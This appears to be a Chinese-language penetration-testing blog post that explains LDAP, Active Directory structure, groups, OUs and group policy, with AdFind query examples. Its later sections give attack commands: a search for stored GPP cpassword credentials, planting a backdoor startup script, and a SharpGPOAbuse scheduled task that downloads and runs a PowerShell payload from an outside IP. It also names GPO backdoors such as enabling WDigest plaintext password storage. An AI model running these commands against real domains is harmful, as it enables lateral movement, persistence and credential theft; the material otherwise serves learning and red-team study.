HacKerQWQ的博客空间

内网渗透之LDAP协议学习

Word count: 6.1kReading time: 24 min
2021/07/09 Share

LDAP简介

LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个协议。

  • 目录数据库由目录服务数据库和一套访问协议组成

目录服务数据库
20210709224516

  1. 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点一个条目
  2. 每个条目一条记录,条目有唯一可标识的名词DN(每个圆圈是一个条目)
  3. DN,RDN:比如说第一个叶子条目,他有一个唯一可区分的名称DN:uid=bob,ou=people,dc=acme,dc=org。类似于文件目录的相对路径绝对路径,他除了有个DN之外,还有个RDN,他与目录结构无关,比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org,他的RDN就是uid=bob
  4. 属性:描述条目具体信息。比如uid=bill,ou=people,dc=acme,dc=org,他有属性name 为bill,属性age为11,属性school 为xx。
  5. UPN,Base DN:如上图bob隶属于acme.org,则它的UPN为bob@acme.org;Base DN是LDAP的目录树,即DC=acmem,DC=org
    20210709224835

DN的属性

标识名称(distinguished Name,DN):它是对象在Active Directory内的完整路径,DN 有三个属性,分别是 CNOUDC
20210709230715

  • DC (Domain Component):域名组件;
  • OU (Organizational Unit):组织单位;
  • CN (Common Name):通用名称,一般为用户名或计算机名;

AD(Active Directory)简介

20210709225834
AD是微软对目录服务数据库的实现方式,AD存储域内所有计算机用户的信息。

访问AD的两种方法:

  1. 连接域控的389/636端口(636端口是LDAPS),查看Active Directory,进行连接查看修改
  2. 若存在域林,则存在全局编录服务器(GC,Global Catalog),连接域控的3268/3269端口查看

Nameing Context

微软将Active Directory划分为若干个分区(这个分区我们称为Naming Context,简称NC),每个Naming Context都有其自己的安全边界。

三个Naming Context:

  • Configuration NC(Configuration NC)
  • Schema NC(Schema NC)
  • Domain NC(DomainName NC)

Configuration NC

配置NC,林配置信息的主要存储库,包含有关站点,服务,分区和Active DirectorySchema 的信息,并被复制到林中的每个域控制器。配置NC的根位于配置容器中,该容器是林根域的子容器。例如,test.local林将为CN=Configuration,DC=test,DC=local
20210710121743

Schema NC

包含Schema 信息,该Schema 信息定义Active Directory中使用的类,对象和属性。
20210710121854

Domain NC

域内的所有计算机,所有用户的具体信息都存在Active Directory底下,具体来说,就是在Active Directory的这个Naming Context里面。我们用工具查看的默认Naming Context选的也是这个Naming Context。后面对域内很多东西的查看都在这个Naming Context里面。
20210710122009

更多信息

https://daiker.gitbook.io/windows-protocol/ldap-pian/8#0x03-naming-context-he-application-partitions

搜索Active Directory

搜索编辑工具

  1. adsiedit.msc
  2. ldp
  3. ADExplorer
  4. The LDAPExplorer(付费,比ADExplorer强大)
  5. ldapsearch(linux)

过滤规则

LDAP 搜索过滤器语法有以下子集:

  • 用与号 (&) 表示的 AND 运算符。
  • 用竖线 (|) 表示的 OR 运算符。
  • 用感叹号 (!) 表示的 NOT 运算符。
  • 用名称和值表达式的等号 (=) 表示的相等比较。
  • 用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。

下面举几个例子

  • (uid=testuser)
    匹配 uid 属性为testuser的所有对象
  • (uid=test*)
    匹配 uid 属性以test开头的所有对象
  • (!(uid=test*))
    匹配 uid 属性不以test开头的所有对象
  • (&(department=1234)(city=Paris))
    匹配 department 属性为1234且city属性为Paris的所有对象
  • (|(department=1234)(department=56*))
    匹配 department 属性的值刚好为1234或者以56开头的所有对象。

一个需要注意的点就是运算符是放在前面的,跟我们之前常规思维的放在中间不一样

LDAP中查找objectCategory和objectClass

  1. objectClass
    在对象的objectClass属性里面,可以看到这个对象是哪个类的实例,以及这个类的所有父类,比如说CN=jane,CN=Users,DC=test,DC=local的objectClasstop,person,organizationalPerson,user。那我们通过过滤语句(objectClass=user),(objectClass=organizationalPerson)都能找到这个对象。

    1
    AdFind.exe -b dc=pentest,dc=com -s subtree -bit -f "(objectclass=organizationPerson)" -c

    20210710162023

  2. objectCategory
    objectCategory属性包含对象是其实例的类或其父类之一的专有名称。因此objectClass范围大于objectCategory。在Windows Server 2008之前默认不对objectClass 属性进行索引。

比如CN=Users,DC=pentest,DC=comobjectCategoryCN=Container,CN=Schema,CN=Configuration,DC=pentest,DC=com
20210710162452
objectCategory的值由对象类的defaultObjectCategory属性指定的值决定

查询语法:

1
2
(objectCategory="CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local")
(objectCategory=person) #此为lDAPDisplayName

20210710162832

  1. objectClass和objectCategory结合
    如果域控存在Window Server 2008就采用这种方法,objectCategory限定范围,objectClass进行精准匹配

如果要定位CN=jane,CN=Users,DC=test,DC=local对象,它的objectClass为top,person,organizationalPerson,user,objectCategory为person,则语法如下

1
(&(objectCategory=person)(objectClass=user))

20210710163324

组简介

组的知识着重于安全组,分为以下三类

  • 全局组 (Global group)
  • 通用组(Universal group)
  • 域本地组(Domain Local group)

组的类型由groupType决定,属性groupType是位字段
20210710164254
例子
20210710164410

组范围

组类型 可以授予权限 可包含 可包含于 成员是否在全局编录复制
全局组 在同一林中或信任域或林中的任何域上。 来自同一域的帐户。来自同一域的其他全局组 来自同一林中任何域的通用组。来自同一域的其他全局组。来自同一林中任何域或任何信任域的域本地组
通用组 在同一林或信任林中的任何域上。 来自同一林中任何域的帐户。来自同一林中任何域的全局组。来自同一林中任何域的其他通用组。 同一林中的其他通用组。在同一个林或信任林中域本地组。
域本地组 在同一个域中 来自任何域或任何受信任域的帐户。来自任何域或任何受信任域的全局组。来自同一林中任何域的通用组。来自同一域的其他域本地组。 来自同一域的其他域本地组。
  1. 域本地组(Domain Local group)
    顾名思义,就是本域内的本地组。不适用于林,适用于本域。可包含林内的账户,通用组,全局组。其他域内的通用组要在本域拥有权限,一般都是加入这个域的域本地组。比如说一个林里面,只有林根域有Enterprise Admins这个组,这是个通用组。然后其他子域 的域本地组Administrators会把林根域的Enterprise Admins加进里面,所以林根域的Enterprise Admins组用户才在整个林内具备管理员权限。如果想要一个只允许访问同一个域中的资源的组,那么使用域本地组即可。
    20210710172833

  2. 通用组(Universal group)
    上面已经简单提过了通用组,典型例子是Enterprise Admins这个组。在林的场景下比较有用。组内成员会在GC内复制。如果你想要一个可以访问林中任何东西的组,并且可以在林中包含任何账户,请使用通用组。
    20210710172911

  3. 全局组(Global group)
    全局组比较复杂,前面说了。在单域内用域本地组,在林中使用通用组。全局组应该说是一种比较折中的方案,他可以在林中使用,但是只能包含本域内的账户。全局组的使用范围是本域以及受信任关系的其他域。最为常见的全局组是Domain Admin,也就是我们常说的域管。因为全局组只能包含本域内账户,因此来自一个域的账户不能嵌套在另一个域中的全局组中,这就是为什么来自同一个域的用户不符合在外部域中的域管的成员资格(由于其全局范围的影响)。
    20210710172954

常见组

  • Administrators
    域本地组。具备系统管理员的权限,拥有对整个域最大的控制权,可以执行整个域的管理任务。Administrators包括Domain Admins和Enterprise Admins。
  • Domain Admins
    全局组。我们常说的域管组。默认情况下,域内所有机器会把Domain Admins加入到本地管理员组里面。
  • Enterprise Admins
    通用组。在林中,只有林根域才有这个组,林中其他域没有这个组,但是其他域默认会把这个组加入到本域的Administrators里面去。
  • Domain Users
    全局组。包括域中所有用户帐户,在域中创建用户帐户后,该帐户将自动添加到该组中。默认情况下,域内所有机器会把Domain Users加入到本地用户组里面,也就是为什么默认情况底下,啥都不配置。域用户可以登录域内任何一台普通成员机器

AGDLP

安全组是权限的集合,通常是将用户添加进组,给组赋予权限,AGDLP是其中的一个权限划分方式

在域中,AGDLP是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。

  • A表示用户账号,Account
  • G表示全局组,Global group
  • U表示通用组,Universal Group
  • L表示本地组, local group
  • DL表示域本地组,Domain local group
  • P表示资源权限,Resource Permissions

ADFind查询组

1
2
AdFind.exe -b dc=pentest,dc=com -s subtree -bit -f "(&(obje
ctcategory=group)(grouptype:AND:=2))" -dn

20210710164555

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#查询域内所有组
(objectClass=group)
#查询域内所有全局组
(&(objectcategory=group)(grouptype:AND:=2))
#查询域内所有通用组
(&(objectcategory=group)(grouptype:AND:=8))
#查询域内所有域本地组
(&(objectcategory=group)(grouptype:AND:=4))
#查询域内所有安全组
(&(objectcategory=group)(grouptype:AND:=2147483648))
#查询域内所有通讯组(非安全组即为通讯组)
(&(objectcategory=group)(!(grouptype:AND:=2147483648)))
#域内系统创建的群组
(&(objectcategory=group)(grouptype:AND:=1))

查询组内成员时,可用membermemberof属性查询,比如group4是group2的成员,则group4的memberof属性内就有group2,group2的member属性就有group4

1
2
3
4
5
6
7
8
#查看group2的成员
ADFind.exe -b CN=group2,OU=IT,DC=pentest,DC=com member
#查看group4属于哪些组
ADFind.exe -b CN=group4,OU=IT,DC=pentest,DC=com memberOf
#递归查询group2的成员
ADFind.exe -s subtree -b DC=pentest,DC=com -f "(memberof:INCHAIN:="CN=group1,OU=IT,DC=pentest,DC=com")" -bit -dn
#递归查询group4的成员
ADFind.exe -s subtree -b DC=pentest,DC=com -f "(member:INCHAIN:="CN=group4,OU=IT,DC=pentest,DC=com")" -bit -dn

OU组织单位(Organization Unit)

20210710175256
OU是容器对象,将域内的对象组织成逻辑组

  • OU是管理对象的集合,组是权限的集合

OU委派

考虑这样一种需求,如果我们想允许某个用户把其他用户拉进OU,而不赋予这个用户域管权限,我们可以在这个OU给这个用户委派 添加成员的权限。组织单位的委派其实就是赋予某个域内用户对OU的某些管理权限。这些权限体现在ACL里面。
20210710175456

OU查询

OU是organizationalUnit类的实例,查询语法如下

1
ADFind.exe -s subtree -b "DC=pentest,DC=com" -f "(objectClass=organizationUnit)" -dn

20210710175748
查询OU里面的账户,可以指定BaseDN为OU就行

1
ADFind.exe -s subtree -b "OU=IT,DC=pentest,DC=com" -dn

组策略

名词解释:

  • 组策略(英语:Group Policy,即GPO),微软[Windows NT](https://baike.baidu.com/item/Windows NT)家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。
  • 组策略对象(英语:Group Policy Object,即GPO)
  • 本地组策略Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机

  • 组策略首选项(Group Policy Preference, GPP)

组策略首选项(Group Policy Preference, GPP) 借助了组策略对象(Group Policy Oject, GPO) 实现了对域中所有资源的管理。
组策略首选项,是Windows2008中新增加的一套客户端插件,由20多个新的客户端拓展组成,可以用来完成很多组策略无法进行的系统及用用配置,例如:驱动映射、管理本地组和用户等等。

img

我们可以看到GPP里面自定义了很多操作,比如本地用户和组的密码控制、计划任务等

在GPP出现之前,很多统一管理的操作只能通过脚本来实现,而GPP方便和简化了这样的管理,GPP你可以将其理解为一个功能点,作用是简单化、规范化组策略的发布和使用。


NETLOGON目录

挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹。

image-20220731195849353


SYSVOL目录

SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。 此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它

在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息。

该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)

img

如果我们去掉这个权限:
img

Default Domain Policy

唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)

默认域策略

Windows Server 2008 creates a Default Domain Policy GPO for every domain in the forest. This domain is the primary method used to set some security-related policies such as password expiration and account lockout.

img

存放的路径:

1
C:\Windows\SYSVOL\sysvol\test1.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}

Default Domain Controllers Policy

唯一ID(GUID):{6AC1786C-016F-11D2-945F- 00C04FB984F9} (都是相同的)

默认域控制器策略

管理目标“Domain Controllers”容器,影响“Domain Controllers”容器中的域控制器,域控制器账户单独保存在该容器中。

img

组策略简介

组策略(英语:Group Policy,即GPO),微软[Windows NT](https://baike.baidu.com/item/Windows NT)家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。

gpmc.msc打开组策略
20210716163512

组策略可分为本机组策略(LGP)和域的组策略

  • 本机组策略用于计算机管理员统一管理本机以及所有用户。
  • 域内的组策略用于域管统一管理域内的所有计算机以及域用户。

组策略分类

本地组策略

本地组策略Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。

开始->运行->键入”gpedit.msc”->本地组策略编辑器->window设置(system)->脚本->启动->属性

显示文件:

1
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

image

把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了

域组策略

打开命令:gpmc.msc

当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。

域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发

  • 通过在域中下发脚本来执行
  • 在组策略首选项GPP中进行设置
  • 本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)

这里需要了解下AD域中两个默认的共享文件夹:SYSVOL NETLOGON,见上

image

组策略更新

客户端更新组策略的方式主要有:

  1. 后台轮询检查域控SYSVOL里每条组策略的GPT.ini,如果高于本地保存的组策略版本,客户端将会更新本地的组策略。默认情况下,计算机组策略会在后台每隔 90 分钟(0-30分钟的抖动)更新一次。域控制器上的组策略会每隔 5 分钟更新一次。

  2. 用户开机登录时会检查SYSVOL里的GPT.ini

  3. 客户端强制更新,执行gpupdate /force

    域控强制客户端更新Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(不会比较域共享目录中组策略的版本,2008 R2 默认不支持该命令,2012支持)

组策略执行顺序

1
本地组策略 →站点组策略→域组策略→OU组策略。

如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。后应用的组策略覆盖先应用的组策略

GPC和GPT

GPO在于内的存储分为两个部分,GPCGPT

  1. GPC位于CN=Policies,CN=System,<BaseDn>底下,每个条目对应一个GPC
    20210716170138
    例如这里的Default Domain Policy的GPC就是CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=pentest,DC=com,GPC包含了GPO的属性,例如版本信息,GPO状态和其他组件设置
  2. GPC的gPCFileSysPath链接到GPT
    20210716170355
    20210716170443
    里面记录了一些策略的数据

OU通过gPLink标识这个OU应该使用的组策略,通过gPOptions标识是否继承组策略

img

组策略相关ACL

创建GPO的权限

创建GPO的权限其实就是对CN=Policies,CN=System,<BaseDn>具备CreateChild的权限。

1
AdFind.exe -b "CN=Policies,CN=System,DC=pentest,DC=com" -sddl+++ -s base -sdna -sddlfilter >../GPO_privilege.txt

20210716165623

GPO链接的权限

OU上的gPLink可以标识使用的组策略,我们只要遍历所有站点、OU、OU上的ACE,如果有对gPLink属性或者gPOpptions属性的修改权限,就可以修改这个这个域/站点/OU链接的OU。

  1. 遍历站点、OU
    1
    2
    3
    4
    5
    #遍历站点
    adfind -b CN=Configuration,DC=pentest,DC=com -f "(objectCategory=site)" -s subtree -dn
    adfind -sites -f "(objectCategory=site)" -dn
    #遍历OU
    adfind -b DC=pentest,DC=com -f "(objectCategory=organizationalUnit)" dn
  2. 遍历域、站点、OU上的ACE
    1
    2
    3
    4
    #查看修改gPlink权限
    adfind -b OU=财务,DC=test,DC=local -sddl+++ -s base -sdna -sddlfilter ;;;gPlink;;
    #或修改gPOpptions的权限
    adfind -b OU=财务,DC=test,DC=local -sddl+++ -s base -sdna -sddlfilter ;;;gPOpptions;;

修改现有GPO的权限

主要关注

  • GPC链接到GPT的权限
  • 修改GPT的权限
  1. GPC链接到GPT的权限对应OU的gPCFileSysPath,只需查找对这个属性的WriteProperty
    1
    AdFind.exe -b "CN=Policies,CN=System,DC=pentest,DC=com" nTSecurityDescriptor -sddl+++ -s subtree -sdna -sddlfilter ;;;gPCFileSysPath;; -recmute
    20210716172817
  2. 修改GPT的属性,这里使用系统自带的icacls能查看文件夹ACL
    1
    2
    icacls \\pentest.com\sysvol\pentest.com\scripts*
    icacls \\pentest.com\sysvol\pentest.com\policies*
    20210716173113

因为可以修改GPT,就等同于可以随意修改组策略配置。

查看对应GPO标识对应组策略的名字

1
.\AdFind.exe -b "CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=pentest,DC=com" -s base displayName

20210716173321

SYSVOL漏洞(MS14-025)

早些版本中,某些组策略首选项可以存储加密过的密码,加密方式为AES-256,且微软公开了私钥
20210716173807
主要存在于一下组策略首选项中

  • 驱动器映射
  • 本地用户和组
  • 计划任务
  • 服务
  • 数据源

可以用以下命令搜索:

1
findstr /S cpassword \\pentest.com\sysvol\*.xml

工具地址:https://github.com/securethelogs/PassVol.git

20210716175655

或者利用Powersploit的Get-GPPPassword

1
Get-GPPPassword

组策略横向移动方式

  1. 软件安装推出.msi软件
    20210716180230
  2. 推出特定的启动脚本
    20210716180324
  3. 计划任务
    20210716180429

OU批量下发脚本

创建一个OU(GPOTEST),里面新建一个用户,gpo

image-20220801151723320

gmc.msc打开组策略管理,添加一个新的组策略(ADControl)

image-20220801151819078

通过右键ADControl——编辑——用户配置——策略——windows设置——脚本——登录——显示文件——新建ADControl.bat

1
cmd.exe /c calc

image-20220801151942558

然后将组策略管理器界面的GPOTEST链接到该组策略,右键链接到现有的GPO

image-20220801152051552

此时,服务器跟客户端都要强制更新组策略

1
gpupdate /force

更新完成后,可以在客户端看到服务器下发的组策略,说明更新成功了

image-20220801152317927

因为我们组策略规则设定了用户登录时会触发文件,因此需要重新登录一下,成功弹出计算器

image-20220801152426090

CS创建组策略

    1. 创建GPO
1
powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02

image

  1. 将GPO链接到域demo.com,需要域管权限。
1
powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com"

image

  • #添加定时任务 –TargetDnsName指定计算机
1
execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabled --TargetDnsName 192.168.40.148

image

即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。

  • 在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新
1
gpupdate /force

这时候可以看到域成员机上线

image

  • 删除gpo
1
powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2

脚本实现

拿下域管权限后可能防火墙原因无法访问目标电脑,这时候可以利用组策略进行横向。

通过组策略来下放恶意软件、创建/修改计划任务、降级凭据保护、向计算机添加新的帐户到本地管理员组、启用明文密码提取等。

https://github.com/FSecureLABS/SharpGPOAbusehttps://github.com/FuzzySecurity/StandIn 实现计划任务、启动脚本、添加本地管理员用户。

https://github.com/Hackndo/pyGPOAbuse 可以实现计划任务、添加本地管理员。

https://github.com/rootSySdk/PowerGPOAbuse 可以实现的比较全。

powershell实现

1
2
3
4
5
6
7
8
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy
#创建一个GPO并将GPO链接到域test.local,需要域管权限。
new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=local"
#添加定时任务 --TargetDnsName指定计算机
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c calc.exe" --GPOName "TestGPO2" --FilterEnabled --TargetDnsName PC-jack-0day.0day.org
#删除GPO
Remove-GPO -Name TestGPO2

组策略后门

  1. 将域账户添加到本地管理员/RDP组
    20210716180531
  2. 添加特权
    一般用SeEnableDelegationPrivilege特权,如果在渗透过程中控制一个拥有SeEnableDelegationPrivilege权限的账户,那基本约等于控制了整个域

https://blog.csdn.net/qq_41874930/article/details/111560977

  1. 降级凭据保护
    20210716180901

  2. 启用明文密码提取
    微软很早就更新了补丁来防止获取高版本windows的明文密码,但是可以修改注册表使HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest下的UseLogonCredentiald的键值为1
    20210716181008

  3. 组策略ACL后门
    三种特权:

    创建GPO的权限

    GPO链接OU的权限

    修改现有的GPO的权限

拥有这些权限就相当于拥有域管的权限,比如修改Default Domain Policy的权限,那么这个用户就可以授予别的用户SeEnableDelegationPrivilege的权限

参考链接

  1. https://hackergu.com/kerberos-ldap/

  2. https://daiker.gitbook.io/windows-protocol/ldap-pian/10

  3. 组策略利用与横向移动

CATALOG
  1. 1. LDAP简介
    1. 1.1. DN的属性
  2. 2. AD(Active Directory)简介
  3. 3. Nameing Context
    1. 3.1. Configuration NC
    2. 3.2. Schema NC
    3. 3.3. Domain NC
    4. 3.4. 更多信息
  4. 4. 搜索Active Directory
    1. 4.1. 搜索编辑工具
    2. 4.2. 过滤规则
    3. 4.3. LDAP中查找objectCategory和objectClass
  5. 5.
    1. 5.1. 组简介
      1. 5.1.1. 组范围
      2. 5.1.2. 常见组
      3. 5.1.3. AGDLP
    2. 5.2. ADFind查询组
  6. 6. OU组织单位(Organization Unit)
    1. 6.1. OU委派
    2. 6.2. OU查询
  7. 7. 组策略
    1. 7.1. 组策略简介
    2. 7.2. 组策略分类
      1. 7.2.1. 本地组策略
      2. 7.2.2. 域组策略
    3. 7.3. 组策略更新
    4. 7.4. 组策略执行顺序
    5. 7.5. GPC和GPT
    6. 7.6. 组策略相关ACL
      1. 7.6.1. 创建GPO的权限
      2. 7.6.2. GPO链接的权限
      3. 7.6.3. 修改现有GPO的权限
      4. 7.6.4. SYSVOL漏洞(MS14-025)
    7. 7.7. 组策略横向移动方式
      1. 7.7.1. CS创建组策略
      2. 7.7.2. 脚本实现
    8. 7.8. 组策略后门
  8. 8. 参考链接